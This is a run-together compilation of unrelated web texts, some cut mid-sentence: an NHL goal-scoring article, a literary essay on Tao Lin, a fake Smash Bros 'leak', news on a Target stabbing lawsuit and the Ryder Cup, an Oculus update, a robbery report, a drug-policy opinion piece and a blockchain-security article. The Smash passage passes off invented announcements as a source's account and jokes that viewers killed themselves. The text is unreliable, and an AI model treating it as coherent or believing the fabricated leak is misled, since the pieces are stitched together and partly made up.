Consider, if you will, a certain Russian sniper by the name of Alex Ovechkin. I’m sure you know by now that Ovechkin is red-hot to start the season with 19 goals already through 22 games. That’s a 72-goal pace which would rank among the top ten goal scoring seasons of all-time and mark the highest total since Teemu Selanne and Alexander Mogilny both potted 76 goals back in 1992-93.
Whether he can hit the 70-goal mark or not, Ovechkin does seem a sure bet to at least hit 50, the fifth time he’ll reach that mark (he could also win his fourth Rocket Richard Trophy, extending his own NHL record). If he does, he’ll become only the 11th player in NHL history to score 50 five times in his career. Given that Ovechkin is still just 28 years old, it also seems fair to suggest he may yet reach the milestone a few more times before he’s done.
So, it does seem that Ovechkin’s production is at least equal to or greater than that of some of the greatest goal scorers in hockey’s history, but could he, in fact, be the greatest?
Let’s use Gretzky as a measuring stick. Gretzky played 1,487 regular season games and scored 894 goals, the current NHL record. I say current, because there is a real possibility that Ovechkin could catch him.
Ovechkin has played 622 regular season games and has scored 390 goals for a 0.627 goals per game average. Assuming that Ovechkin is able to play at least the same amount of games as Gretzky did in his twenty year career, that would be 932 career goals.
I’ll say it again just to let it sink in: Ovechkin is on pace to shatter Gretzky’s career mark for regular season goals.
That torrid 0.627 goals per game pace is behind only Mike Bossy, Lemieux and a couple of guys who played before the turn of the 20th century (Cy Denneny and Cecil “Babe” Dye) in terms of the highest ever.
The caveat is, of course, that a multitude of things could yet conspire to ruin Ovechkin’s challenge of the record, not the least of which being serious injury, or slowing with age, but I do think it’s fair to say that Ovechkin may prove to be one of the best goal scorers the game has ever seen, in any era.
Having established Ovechkin’s future place among the greats, where does that leave fellow superstar and Co-Best Player In The World, Sidney Crosby?
Crosby is, without a doubt, the preeminent point producer in the NHL today. He leads the NHL with 30 points through 24 games this season, a 107-point pace (which would be his fifth 100-point season), and looks to be on track for his second Art Ross Trophy.
So far in his young career he’s amassed 250 goals and 695 points in 493 regular season games. Again, using Gretzky’s games played as a measuring stick, he could conceivably finish with 754 goals (third all-time, fourth if you want to include Ovechkin’s potential future results just for fun) and 2096 points (second behind Gretzky, making them the only two players to hit the 2000-point plateau).
However, like Ovechkin, these numbers have to be taken with a grain of salt, especially for Crosby. In truth, there is some concern about whether he can even get to the 1000 game mark considering his disturbing concussion issues. He appears to have gotten over them, as of now, but who knows when they might return and knock him out (no play on words intended) for an even longer period of time?
Sadly, these debates come down to injury all too often. Imagine how the career numbers of Lemieux, Orr, and Bossy would look like had they all not suffered through some horrible injuries. Is Crosby the next to be added to the list of “what could have been”, or will he prove to be one of the all-time greats?
One thing is for sure, with a Stanley Cup, multiple individual awards and multiple all-star team nominations, there is no doubt that Crosby already has the Hall-of-Fame credentials, just as Ovechkin has. Also like Ovechkin, Crosby could very well be considered one of the best to ever lace up a pair of skates by the time he’s done.
There are certainly a few other players in today’s game that may end up worthy of being considered among the greatest of all time. Surely Evgeni Malkin, Steven Stamkos and perhaps even John Tavares could be close, but they all seem to be a step behind Ovechkin and Crosby at this point.
It seems the only thing standing between them and immortalization as two of the greatest the NHL has ever seen is maintaining their production standards and longevity. Enjoy them while you can people, one day you might be able to tell the next generation of hockey fans that you saw the great Sid and Ovi in their primes.
Thanks for reading. Please give our Hockey Department a follow on Twitter – @lastwordBKerr, @RickW10, @TheHockeyMitch, @LastWordBigMick, @crimsonskorpion, @CMS_74_, @TwoTurtleDuffs, @d_rocchi, @dasimonetta, @ddmatthews, @CanuckPuckHead, @NKonarowski2, @LarryScotti, @PurpleRocktober, @jaynichols11, @meaghannn_, @LastWordOnNHL, @LWOSDanRussell, and @darrinharmy and follow the site @lastwordonsport and like our Facebook Page.
Interested in writing for LastWordOnSports? If so, check out our “Join Our Team” page to find out how.The will that animates Tao Lin’s early fiction could easily be described as whimsical, and yet no less easily as somber. Neither aspect was uncommon in American narrations of the early third millennium, nor was it rare for both to manifest within a single narrative, but their relative proportion varied wildly. Enormous sums of cheery froth could be swept around a miserable grain of salt; pessimism could be magnified to such a scale and accompanied by such groundless, blatant moralizing as to render the entire project faintly, yet indelibly, ludicrous.
People were very confused. They wanted to be serious! But they also wanted to be “fun.” The whole situation, which tilted sometimes toward levity, sometimes toward anti-levity, never tilted decisively in either direction, and was always, in the end, pretty disappointing. People dealt with pretty disappointment in many ways. Some people had relationships to fall back on, and some had hierarchical beliefs and actions. Some had drugs, or philosophies, or religions, or media. They had food, most of them, and also memories. Sometimes, for some people, the combination of one too many of these things provided enough relief that they could imagine themselves as being pretty happy. Sometimes, for some people, the combination of these things did not relieve them of their pretty disappointment. They continued being disappointed, or sometimes, some of them, became depressed.
The voice of Lin’s first two books of fiction sounded slightly like the above two paragraphs. The short novel Eeeee Eee Eeee and short-story collection Bed—both put out by the independent publisher Melville House in May 2007—are remarkable for the deftness with which they play the fixed unhappiness of their material (failing or failed love relationships, primarily) against the inherently capricious, or mutable, or loopy nature of its depiction in language:
People went up and down Sixth Avenue with the word motherfucker in their heads. They felt no emotions, had no sensation of life, love, or the pursuit of happiness, but only the knowledge of being stuck between a Thursday and a Saturday, air and things, this thought and the next, philosophy and action; birth, death, God, the devil, heaven, and hell. There was no escape, ever, was what people felt. Colin himself was dressed lightly, in dark and enveloping colors. —“Cull the Steel Heart, Melt the Ice One, Love the Weak Thing; Say Nothing of Consolation, but Irrelevance, Disaster, and Nonexistence; Have no Hope or Hate—Nothing; Ruin Yourself Exclusively, Completely, and Whenever Possible,” Bed
Not everyone who walks Sixth Avenue carries a profanity within their head (though many likely do), and it doesn’t seem likely that they feel no emotion. The narration has no immediate bearing on the state of things. It isn’t realistic, and the narrator, I feel, knows this well; certainly he makes no pretense of offering more than a subjective impression—or, rather, projection. The sentences hardly seem the product of a mind unschooled in the confinement and confusion they describe, though that mind does seem sufficiently keen, as in unconfused, to temper the confinement with the spacious clauses and almost lighthearted variety of the second sentence. The passage figuratively lightens and literally airs itself out; it almost seems as if it’s not just Colin who is “dressed lightly, in dark and enveloping colors,” but the language itself.
The story progresses. Colin and Dana, a female friend he’s been out of touch with since their first semester of college, have made plans to attend a concert staged by the anarchist punk band Leftover Crack. Though Dana behaves in a flirtatious manner with Colin, both are aware that Dana has a boyfriend and nothing is going to happen between them. After the concert, they meet, by chance, some other young fans, kindhearted though a bit morose, and have dinner at a Chinese restaurant, pooling their money and inviting a homeless person to partake of their meal. Dana soon receives a phone call from her boyfriend, hugs Colin, and leaves. The story ends inside Colin’s memory of a night early in his freshman year, in New York in the fall of 2001, shortly after Dana, without cause or explanation, ceased speaking to him. After he left a free movie in Union Square, the bleak urban environment seemed, briefly but totally, to enter into concrete harmony with his free-floating emotions of abandonment.
Outside, the streets were closed to cars. People walked on them. Missing-person flyers were taped over ads and poles. It was very quiet without any cars. Colin felt vast and detailless and disembodied; it was the same tired and endless feeling everywhere, he felt, inside of him and out—in the stung and ashen air, the buildings tall and pale as apparitions, the strange and lowered sky. Colin didn’t want to go back to his room. He walked around for a very long time, looking down at the sidewalks and streets, and thought of the things that he and Dana might say to each other if she were with him. And every once in a while he would catch himself smiling and laughing a little, and it was those moments right after—as, having lapsed into fantasy, there was a correction, a moment of nothing and then a loose and sudden rush, back into the real world in a trick of escape, as if to some new place of possibilities—that he felt at once, and with clarity, most exhilarated, appreciative, disappointed, and accepting.
The stories in Bed are primarily driven by affective content: their sentences, however finely, weirdly crafted, keep faith with the characters’ wavering emotions, not the other way around. Such wavering, though by definition rarely smooth, is nonetheless continuous, and thus at least partially consoling: the core construction is “and,” as if Colin’s imagination, with its tremendous capacity for negative experience, could arrange the terms of his dissatisfaction so as to leave him, however unaccompanied without, at least less isolated in relation to himself.
In a later phase of his career, Lin would helpfully describe this as his “Lorrie Moore style,” and the similarities between Moore’s sad, precisely unhinged clauses (“She felt such inexplicable desolation then, such sludge in the heart, felt the season’s mockery, all that chartreuse humidity in her throat like a gag”) and those of Bed or Eeeee Eee Eeee (“a weightlessness entered into Chelsea’s blood—an inside ventilation, like a bacteria of ghosts... her heart, her small and weary core, neglected now for years, vanished a little, from the center out, took on the strange and hollowed heaviness of a weakly inflated balloon”) can seem so evident as to equal an identity. Yet there’s something more at work than the mere regurgitation of a style. Desperate flights of fancy run through the heads of both Lorrie Moore’s and Tao Lin’s characters, but in Moore’s work the brief fanciful phrasings never bleed out into, let alone alter, the external reality in which her characters have been inscribed. Her brilliant English major, hopelessly frustrated by menial secretarial labor and the built-in inequalities of an affair with a wealthy married man, inhabits a fictional world wherein all the laws of real-world physics are in full effect. Her thoughts alone can drift or hover; unless she has a parachute equipped, she can’t float out an office window and land safely on the ground. Likewise, the language of her co-workers and “lover” stays firmly grounded in the discourse typical of actual secretaries and upper-middle-class professionals.
Whereas in Eeeee Eee Eeee, a novel framed as a recursive set of memories belonging to Andrew, a depressed male doing menial labor for a Domino’s Pizza in Florida, the laws of reality have been suspended—within its space an ominous alien, a talking hamster, a subterranean colony of dolphins, a talking bear with the ability to teleport (it doesn’t make him any happier), and a talking moose |
) when you boot up the game after updating it. Sakurai then talks about Cloud. He explains that Cloud has a limit system where, after taking so much damage, his specials grow stronger. Apparantly his neutral B is a sword beam (“Blasting Clear Strike”), down+B is a spinning attack (“Finishing Touch”), side+B has him slash in the shape of the Kanji “Kyo” (“Wicked Cutter”), and his up+B is that Aether-esque move from the trailer (“Clim Hazard”). His Final Smash, Omnislash, is also more powerful when Cloud’s limit meter is full. Instead of just slashing at the ground, the final blow of Omnislash creates a huge explosion when it strikes the ground. Yikes. He then talks about the Midgar stage, and how it seems very basic, but has a big twist. As the battle progresses, summon Materia will appear throughout the map. If a fighter grabs the Materia, they will summon a Final Fantasy monster to deal damage on the stage. He showed off Shiva, Ramuh, and Bahamut ZERO in stage. He then says that Cloud and Midgar will release as a bundle, selling at 650 yen on one system and 750 on both. He then reveals that there will be bonus trophies of Tifa and Sephiroth (tifa trophy in 3D O_O). In addition, there are two new music tracks here, being remixes of FFVII’s opening theme Bombing Mission and One-Winged Angel. He then reminds us that the Chocobo hat is going to be an available Mii outfit (and apparently comes with a Chocobo trophy, too!) This leads into a transition into Mii costumes. The new wave includes: - Santa Hat - KOS-MOS (Xenosaga) - Ryu (Breath of Fire) - Crono (Chrono Trigger) (!!!) - Phoenix Wright - Miles Edgeworth - Yoshi - Tingle Yeah, some interesting ones in there, didn’t expect Breath of Fire to get any recognition in this game. And considering how well-endowed KOS-MOS is, that’s gonna look weird on my George Constanza Mii. He then goes on to talk about amiibo. Figures of Roy, Ryu, Wolf, and Cloud are shown. Sakurai then shows us amiibo cards. These cards show a picture of the fighter, with blank spaces on the top of the card and under the picture. Apparantly, you’re supposed to write the figure’s name and stats on the card. Sakurai then says that the presentation is nearing it’s end, and once again thanks the fans for supporting him over the years. But there’s one last announcement. He then tells us to “watch this”. And here’s where things get interesting, for better or for worse. Mostly for worse. We see Mario and Sonic on Final Destination, duking it out. Suddenly, a large rectangle appears in the left corner of the screen. We see a blond-haired guy playing the game and getting really excited over it. While my source didn’t know who the hell this guy was, I think it’s pretty obvious. The screen then zooms in on him, and he introduces himself as Pewdiepie. Yes, seriously. He starts saying stuff about how much he loves Smash Bros, when a Mario hand comes from the edge of the screen, grabs him, and pulls him in to the game. We then get a full pan up of the now-cartoony Pewdiepie in Smash (you have no idea how much that hurt me to type). He reaches the screen for a brofist, which is met with a splash screen saying “Pewdiepie joins the battle!” We then see gameplay of him in action, he attacks with chairs, some gold statue, and rides on a bicycle with a little kid in it. For his final smash, those monsters from Amnesia: The Dark Descent show up, and attack the enemies while Pewdiepie retreats to the top left corner of the screen, screaming at the monsters. The Smash logo appears on the screen, and we cut back to Sakurai. Well, his corpse, anyway. Sakurai’s lifeless body drops on the ground, and the viewer watches this for roughly ten minutes. Some lady walks in with a jar that has a human brain in it, and sets it on Sakurai’s desk. We then hear his voice again. “Creating characters is a lot of work, and if I were to create Super Smash Bros as I envisioned it, it would take too much work for any human to handle. So I disposed of my mortal body and uploaded my brain to a supercomputer, so I can truly create Smash as I envisioned it. “When Cloud was announced, there was a noticeable amount of backlash from people complaining that Super Smash Bros has too many third-party characters, and is turning into Mugen. So fuck it, I’ll show you what a real Mugen would be like. I’m gonna make every character ever voted for on the Smash Ballot playable. Every single one. Well, almost all of them.” It was then that my source noticed that there was a dartboard in Sakurai’s office, with pictures of Chrom and Starfy on them. Sakurai then says “Please take a look.” Smash flames again. Rather than showing Smash Bros gameplay or CGI like the previous trailers, this one is apparently live-action.There was a lady with black hair with a yellow streak in her hair and a shitton of makeup, and a man who apparently had a lot of chins. There was also a Jewish looking guy with an afro, but he didn’t do anything and just watched the other two. My source claimed that they seemed to be trying way too hard to be funny. The guy with the chins and the lady with the makeup had a conversation that roughly went along these lines. Chin guy: “What are you playing?” Makeup lady: “Shovel Knight!” Chin guy: “But that’s not Shovel Knight, it’s Smash Brothers!” Makeup lady: “I’m playing Shovel Knight IN Smash Brothers!” Suddenly, someone in a Shovel Knight costume appears, hits Chin Guy with his shovel, and says “I’m in Smash Brothers!” The splash screen then appears, stating “Shovel Knight joins the battle!” Gameplay, yadda yadda yadda, you know the rest. Final Smash has Shield Knight (or just a knight with a shield, my source never played Shovel Knight, so I’m just guessing) show up, and Shovel Knight bounces off of her shield, slamming into the ground with his shovel, creating massive shockwaves. After that, the trailer cuts to the live-action guys again, with the jewish guy saying to Shovel Knight, “damn it, ross”. After that it’s just a marathon of character reveals, and do I mean a marathon. My source left after watching 46 hours worth of reveals to type his synopsis up. Some of the characters revealed include: MIPS the rabbit Jibanyan Waluigi Ghirahim Tumble from Mario Party 3 Duke Nukem Juju Professor Frankly Isaac Clarke Albert Wesker Milli Vanilli Eddie the Mean Old Yeti Regigigas Excellus Cervantes The Magic Bean Salesman Etika The finger from the Kirby Canvas Curse commercial Rolf from Fire Emblem: Path of Radiance The Blues Brothers Coach from Left 4 Dead 2 Captain Keeta Klonoa Raziel Kid Kirby Dalton from Chrono Trigger Dragon’s Crown Sorceress A Head from Face Raiders The President (from Pikmin 2)’s wife Ronk Papes Snips Segata Sanshiro Funky Phil Luke Atmey Shigesato Itoi Sebastian Tute Bluster Kong The Moon Waterwraith The sleeping bear from Okami Reggie Fils-Aime riding on Bill Trinen He said that there was no sign of Daisy anywhere, though. One of the more notable newcomers my source saw was this thing called “Shutai”. It had a Dunsparce as it’s head, its body was the North American boxart for Super Mario Bros 2, one of its arms was Goro from Mortal Kombat, the other was a clay model of Everdred from Earthbound attatched to Yoshio Sakamoto’s head. The legs of this character were Vector the Crocodile’s head and Gheb from Fire Emblem: The Sacred Stones. It’s unknown how this character plays, but it can apparently sing ‘50’s songs. It’s at this point my source said “FUCK IT” and went home to type this up. However, he did find out one last tidbit. In the next patch, they’re adding a new easter egg. If you play as Mario in Classic Mode (with Wii remote+nunchuck controls), if you go on Mario Galaxy and fight Bowser, align your Wii remote and nunchuck to make an upside-down V shape. If you do this just as Bowser is about to hit you, you’ll enter a warp pipe. This warp pipe will take you to Delfino Plaza, and here you can play any game a Smash character has ever been in, past, present, and future. So not only is it a giant Virtual Console, but you can play games that won’t come out for many years into the future. Highlights include the next Zelda game, which takes place in a futuristic Hyrule with hippopotomous robots and Link now rides a motorcycle called “Epona”. There’s also the FF7 remake, which they have disappointingly turned into a FFXIII-esque hallway simulator. There’s the next Kirby, which, after having made the powerups bigger in Return to Dream Land, and making the inhale bigger in Triple Deluxe, they decided to just make Kirby huge. And the next Mario game is… New Super Mario Bros NX. What a surprise. What’s curious about all this is the fact that the games date only to 2025. The latest game available, Paper Mario: Sticker Star 4, released on December 1st, 2025. It’s worth noting that a number of the games released in 2025 refer to a being known as “Xyzyrmar” in a way similar to that we say “Oh my God” today. Even kid-friendly games like Pokemon Epsilon Gamma mention Xyzyrmar in a sense of fear. And it’s not a Pokemon, they checked the Pokedex of 5221 Pokemon and the closest thing there is is Xermar, which looks like a dinosaur-bull hybrid. In the Fire Emblem Awakening remake, Frederick now says "Pick a Xyzyrmar and pray!", and in the last Zelda game, Din, Nayru, and Faore are instead referred to as Xyzyrmar, Xyzyrmar, and Xyzyrmar. The identity of Xyzermar is at this point unknown. My source asked the Smash dev member how this is even possible, and all he could manage to say was “Sakurai magic”. He then explained that everybody not on the Smash dev team who saw the direct beforehand killed themselves out of fear of just what the hell Xyzyrmar is and what it’s gonna do to us in the December of 2025. The Smash dev told my source that he didn’t actually like him and the whole reason he showed him the direct was so he’d kill himself. When asked why the dev would feel this way, he explained that it’s because Asura’s Wrath made you pay for the actual ending of the game and he was pissed at that. Also, we’re not getting Goku. But we are getting every other Dragon Ball character besides Goku. Including Krillen and Garlic Jr.PITTSBURGH (KDKA) – It was two years ago when a homeless man attacked a teenage girl inside the Target store in East Liberty.
He was found guilty, but mentally ill. But Target says the stabbing happened because of what three men did that day.
Michael Turner was there when 16-year-old Allison Meadows was stabbed twice by 41-year-old Leon Walls inside the Target in 2013.
Meadows, from Tennessee, was visiting family in Pittsburgh. She has since recovered from her wounds.
Today, Turner carried a sign outside the store reading: “Target sues stabbing victim hero.”
“Everyone thinks Walls walked inside Target and stabbed this little girl, but that’s not what happened, you had an encounter prior to that?” asked KDKA’s Brenda Waters.
“At this point, we were standing on Highland Avenue, and then that’s when Walls attacked Jobe Wright. At that point, Roland Smith and Tyreek Walker pursued behind him. At this point, I get in a car with Jobe Wright,” said Turner.
Turner says he and his friend got in a car to find Walls and when they arrived at Target another friend came out of the store and said “he’s in there.”
“I entered Target, I run up the escalator, I make a right, that’s when I encountered Walls in the store,” said Turner.
Turner says he and Walls exchanged words. He also says he went into the store with a baseball bat.
“He grabbed a little girl, he didn’t stab her at that point, he was talking, saying … he was trying to get out the store and Jobe told him, ‘You’re not going nowhere ’til the police come,'” said Turner. “And that’s when he started saying, ‘Y’all think I’m playing, y’all think I’m playing. I’m not playing.’ And he stabbed her the first time. Then he stabs her again.”
But now the store is saying if Turner had not gone after Walls with the baseball bat, Allison would not have been stabbed.
“Well, if the guy hadn’t gone on a stabbing spree, we wouldn’t be standing here talking either. So, they’re not looking at that,” said Turner.
Roland Smith and Jobe Wright are also named in the suit with Turner, along with Walls who is in jail.
Meanwhile, the attorney for Allison Meadows has released this statement:
“We have sued Target because they failed to keep Allison safe. Suing Michael Turner is just Target’s way of trying to blame someone else for what happened under their own roof. The family certainly doesn’t blame Mr. Turner and they are thankful he was there that day.”
Join The Conversation On The KDKA Facebook Page
Stay Up To Date, Follow KDKA On TwitterMEDINAH, Ill. -- Erasing some of their worst Ryder Cup memories, the Europeans wore the image of Seve Ballesteros on their sleeves and played their hearts out Sunday at Medinah to match the greatest comeback in history and head home with that precious gold trophy.
Europe got its payback for Brookline, when the Americans roared back from the same 10-6 deficit. This rally was even more remarkable, carried out before a raucous American crowd that began their chants of "USA!" some three hours before the first match got under way.
Jose Maria Olazabal squeezed his eyes and fought back tears when Martin Kaymer holed a 6-foot par putt to beat Steve Stricker and give Europe the point it needed to keep the cup. This was the first Ryder Cup since Ballesteros, the soul of European golf in this event, died in May 2011 of a brain tumor. Olazabal wanted his team to wear navy blue, Seve's favorite color, and added a clever touch -- his iconic silhouette on the sleeves of their shirts.
"This one is for all of Europe," Olazabal said. "Seve will always be present with this team. He was a big factor for this event for the European side, and last night when we were having that meeting, I think the boys understood that believing was the most important thing. And I think they did."
Tiger Woods missed a 3½-foot par putt on the 18th hole, and then conceded a par to Francesco Molinari of about that length to halve their match. That extra half-point made it a clear-cut win for Europe, 14½-13½.
Woods and Stricker, the anchors in the lineup, didn't win a single match at Medinah.
Ian Poulter was the first to embrace Olazabal, which was only fitting.
It was Poulter who gave Europe hope Saturday evening when he made five straight birdies to turn a loss into a win and swing momentum in Europe's favor. Poulter was up to his fist-pumping, eye-bulging tricks again on the final day, winning the last two holes in his match against U.S. Open champion Webb Simpson.
And he had plenty of help. Europe's top five players in the lineup all won, including Rory McIlroy, who was lucky to be playing. McIlroy thought his match was at 12:25 p.m. -- it was listed in Eastern time, not Central -- and needed a police escort to get to the course with 10 minutes to spare. Then, he came up with key birdies to hand Keegan Bradley his first loss of the week.
The biggest match might have belonged to Justin Rose. He was on the verge of losing to Phil Mickelson when Rose holed a 12-foot par putt to halve the 16th, made a 35-foot birdie putt from the back of the 17th green to win the hole, and then closed out Mickelson with a 12-foot birdie on the last hole.
Six of the 12 matches went to the 18th hole on Sunday. The Americans won only one of them.
The Europeans tied the greatest Ryder Cup comeback with a 14½-13½ victory, which was sealed by Martin Kaymer's 6-foot putt. AP Photo/David J. Phillip
The Americans also rallied from a four-point deficit to win in 1999 at Brookline. This was different, though. The Americans won big in those early matches. At Medinah, so many of them could have gone either way.
It was so close, so tense, that either side could have won the Ryder Cup down to the very end.
Stricker made an 8-foot par putt on the 18th, and Kaymer faced a par putt from 6 feet to win the match. If he missed, the Americans would get a half-point, and Woods was leading 1-up over Molinari and in the middle of the 18th fairway.
Kaymer, a former No. 1 and major champion who has struggled all year, poured it in the middle and the celebration was on.
He could barely speak at this point, not so much from pure emotion but having to scream over the crowd behind him. Players were hugging and crying, and the small European contingent that had been drowned out all week was serenading themselves with what has become the theme song of the Ryder Cup.
"Ole, ole, ole, ole," they sang merrily, even as the teams prepared for the closing ceremony.
Europe now has won seven of the last nine Ryder Cups, and even more remarkable about this comeback is that it did it on the road.
Davis Love III became the first U.S. captain to sit every player at least once before Sunday, wanting them to be fresh for the decisive day. Instead, the Americans faltered at the end -- especially Jim Furyk and Stricker, two of his captain's picks.
"The plan worked the first two days," he said. "It just didn't work today."
The only U.S. points came from Dustin Johnson, who went 3-0 in this Ryder Cup, Zach Johnson and unheralded Jason Dufner.
"We're all kind of stunned," Love said. "We know what it feels like now from the '99 Ryder Cup. It's a little bit shocking. We were playing so well, we figured it didn't matter how we sent them out there. We got a couple of matches flipped there in the middle that cost us."
Love thought all along the Ryder Cup would be decided in the ninth match by Dufner. It was most appropriate that Europe won the cup thanks to Kaymer.Every day people ask us, “Have you read Ready Player One?”
If you’re unfamiliar with the critically acclaimed novel, Ready Player One is about the exciting power and possibilities of virtual reality. Around Oculus, Ready Player One has become required reading. We can’t recommend it highly enough.
In February, we were lucky enough to have Ernest Cline, author of Ready Player One, by the office to check out a demo and meet the team.
If you haven’t had a chance to read Ready Player One yet, grab a copy here, and dive in before your development kit arrives. We promise that you’ll come away inspired.
New Order Update System
The new web system for updating your Oculus order information is finally live, just in time to double-check your address before rewards begin shipping!
You can use the system right now by visiting:https://www1.oculus.com/sales/.
The system has three primary functions:
– You can update your address anytime before your order has shipped.
– You can see the status of your order (ready, incomplete, or shipped).
– You can find out whether anything is preventing your order from shipping (eg. invalid address or missing international shipping payment).
Please take a minute and double-check that your order status is ‘Ready’ to help us avoid delays in shipping your items. If you need help, don’t hesitate to email us at [email protected].
SXSW Panel Livestream
Great news for those not in Austin: we’re livestreaming the SXSW panel tomorrow on the future of VR gaming with the help of the Verge!
Virtual Reality: The Holy Grail of Gaming
Paul Bettner, Chris Roberts, Cliff Bleszinski, and Palmer Luckey
6:00 – 6:45pm CST this Friday, March 8th
You can read the full panel details here.
We don’t have the official details for accessing the livestream yet, but we’ll be sure to share a direct link with everyone before the panel begins.
A Flurry of News
As we begin the final countdown to shipping development kits and launching the Oculus Developer Center, we still have a few surprises up our sleeve.
So strap in and stay tuned– This is just the beginning.
We’ll see you in the game!
– Palmer and the Oculus TeamA Texas A&M student is recovering after, police say, she was held up at gunpoint outside her apartment in College Station.
The woman, who asked not to be identified, said she'd just returned home to the Campus View Apartments along University Oaks near Harvey Road Sunday night, when she saw a man walking in the parking lot.
"He said hi, so I said hi, to be nice," said the 20-year-old victim. "And then I finished locking up my car and looked up, and he was standing a couple of feet in front of me, pointing a gun at me."
The victim said when the crook asked for her phone and wallet, she thought the whole thing had to be a joke.
"I asked if he was kidding me, and he said he wasn't. Then he asked me for my phone and wallet again," she said.
She said what she did next was pure instinct.
"I just kind of looked at him, then turned around and ran away screaming," said the victim.
Investigators said a few minutes before this crime, the suspect robbed another woman at gunpoint at the same apartments. This time, police said, the crook got away with the victim's cell phone.
Chuck Fleeger with the College Station Police Department said by the time officers arrived, the suspect was gone.
The suspect is described as a black male, around 5-feet, 10-inches tall with a thin build. He was last seen wearing dark-colored clothing, possibly camouflage shorts, and may have a short beard.
Fleeger said it pays to be observant of anyone who comes across your path.
"Trust your instincts," Fleeger said. "If something doesn't feel right, act on those instincts and move out of the area."
Fleeger said to take a look around for suspicious people before you get out of your vehicle.
As for one of Sunday night's victims, she said she plans to make a few changes to her daily routine.
"I'm buying pepper spray this afternoon. And my roommate and I are going to walk each other out to our cars, because I think he was targeting individual people," she said.
If you have any information about this crime, you're asked to give College Station Police a call at 979-764-3600.Submitted by Alice Salles via TheAntiMedia.org,
The National Institute on Drug Abuse is a U.S. federal research institute focused on “[advancing] science on the causes and consequences of drug use and addiction … to apply that knowledge to improve individual and public health. ” Though it admits “the majority of people who use marijuana do not go on to use other, ‘harder’ substances,” it still describes marijuana as a gateway drug.
But U.S. Attorney General Loretta Lynch recently told a group of Kentucky high school students the role of marijuana in the national drug abuse debate has been overstated.
While discussing how heroin abuse and how individuals often develop an addiction, Lynch argued:
“[I]ndividuals [start out] with a prescription drug problem, and then because they need more and more, they turn to heroin. It isn’t so much that marijuana is the step right before using prescription drugs or opioids — it is true that if you tend to experiment with a lot of things in life, you may be inclined to experiment with drugs, as well. But it’s not like we’re seeing that marijuana as a specific gateway.”
Attorney General Lynch added that instead of trafficking rings, what “introduce[s] a person to opioids … [is] the household medicine cabinet.”
The event she attended was part of the Prescription Opioid Heroin Epidemic Awareness Week, a campaign designed by the White House that includes “250 different events highlighting the importance of prevention, enforcement, and treatment.” As expected, the campaign focused on advertising the official approach to drug abuse, encouraging the public to support the Obama administration’s approach to the opioid crisis.
Measures embraced by the administration include “expanding evidence-based prevention and treatment programs, increasing access to the overdose-reversal medicine naloxone, and supporting targeted enforcement activities.” But nowhere in the official campaign page is there a list of practical solutions to the opioid crisis, an admission of guilt, or a concession stating that, despite marijuana’s official federal classification, cannabis is not seen as the root of the problem by the very head of the United States Department of Justice.
In early August, the Obama administration said no to a bid urging the Drug Enforcement Administration (DEA) to reconsider how marijuana is classified under federal drug control laws. Currently, the DEA lists marijuana as a Schedule I drug, along with heroin, the pivot drug of the opioid epidemic. But as the Attorney General’s comments demonstrate, the federal government fails to take its own classification methodology seriously, choosing instead to contend that prescription drug abuse is a much bigger issue. Per its federal classification, marijuana should be seen as a threat as dangerous as heroin, and yet Lynch appears to contend the abuse of legal drugs is keeping federal agents busy — not the enforcement of her agency’s own rules.
What Lynch is failing to discuss on the federal government’s anti-opioid abuse campaign trail is the racist, opportunistic roots of the failed and decades-long drug war in America. But as American states begin to shift their approach to some of the targets of this nationwide anti-drug campaign, legalized marijuana is able to accomplish what many drug war apologists claimed criminalization would achieve: bringing down the drug cartels.
But as the Washington Post report demonstrates, legalizing pot is not enough.
While powerful drug cartels have seen legalized marijuana taking a chunk out of their profits, the criminalization of other drugs such as heroin continues to put addicts in harm’s way.
With drug cartels seeing an increase in demand due to the pressure mounting from the growth of the relationship between the government and the pharmaceutical industry, dangerous alternatives to heroin, such as fentanyl, are sold on the street as regular heroin.
Without legal means to produce the drugs the market demands, these cartels are not concerned with the quality of their product nor the health of their consumer. When looking at the destruction stemming from the illegal drug trafficking industry, we are able to trace it back to the criminalization of drug commerce and use — and yet government officials prefer to live in the dark ages, upping their involvement with the war on yet another drug epidemic entirely manufactured by crony kingpins.Hackers can shut down entire networks, tamper with data, lure unwary users into cybertraps, steal and spoof identities, and carry out other devious attacks by leveraging centralized repositories and single points of failure.
The blockchain’s alternative approach to storing and sharing information provides a way out of this security mess. The same technology that has enabled secure transactions with cryptocurrencies such as Bitcoin and Ethereum could now serve as a tool to prevent cyberattacks and security incidents.
Blockchains can increase security on three fronts: blocking identity theft, preventing data tampering, and stopping Denial of Service attacks.
1. Protecting identities
Public Key Infrastructure (PKI) is a popular form of public key cryptography that secures emails, messaging apps, websites, and other forms of communication. However because most implementations of PKI rely on centralized, trusted third party Certificate Authorities (CA) to issue, revoke, and store key pairs for every participant, hackers can compromise them to spoof user identities and crack encrypted communications.
For instance, controversy recently broke over the key renegotiation process of WhatsApp, which could possibly be exploited to push false keys and perform man-in-the-middle attacks on one of the most popular and secure messaging apps in the world. Publishing keys on a blockchain instead would eliminate the risk of false key propagation and enable applications to verify the identity of the people you are communicating with.
CertCoin is one of the first implementations of blockchain-based PKI. The project, developed at MIT, removes central authorities altogether and uses the blockchain as a distributed ledger of domains and their associated public keys. CertCoin provides a public and auditable PKI that also doesn’t have a single point of failure.
More recently, tech research company Pomcor published a blueprint for a blockchain-based PKI that doesn’t remove central authorities but uses blockchains to store hashes of issued and revoked certificates. This approach gives users a means to verify the authenticity of certificates with a decentralized and transparent source. It also has the side benefit of optimizing network access by performing key and signature verification on local copies of the blockchain.
Another interesting study of identification based on distributed ledgers is the IOTA, a project that applies Tangle (a blockless type of distributed ledger that is lightweight and scalable) to provide the backbone for millions of IoT devices to interact and identify each other in a peer-to-peer manner and without the need for a third-party authority.
“By referencing hashes that match identity attributes of an individual tied to the ledger one can start to reconstruct the entire identity management system. The fact that you can tie these attributes of person to a tamper-proof hash makes it impossible for someone to forge your identity,” says IOTA cofounder David Sønstebø.
2. Protecting data integrity
We sign documents and files with private keys so that recipients and users can verify the source of the data they’re handling. And then we go to great lengths to prove that those keys haven’t been tampered with, which is difficult when the key is meant to be secret in the first place.
The blockchain alternative to document signing replaces secrets with transparency, distributing evidence across many blockchain nodes and making it practically impossible to manipulate data without being caught. How do you prove that the San Antonio Spurs were the champions of the 2014 NBA Playoffs? You don’t need to because it’s general knowledge. The same applies to data on a blockchain distributed ledger.
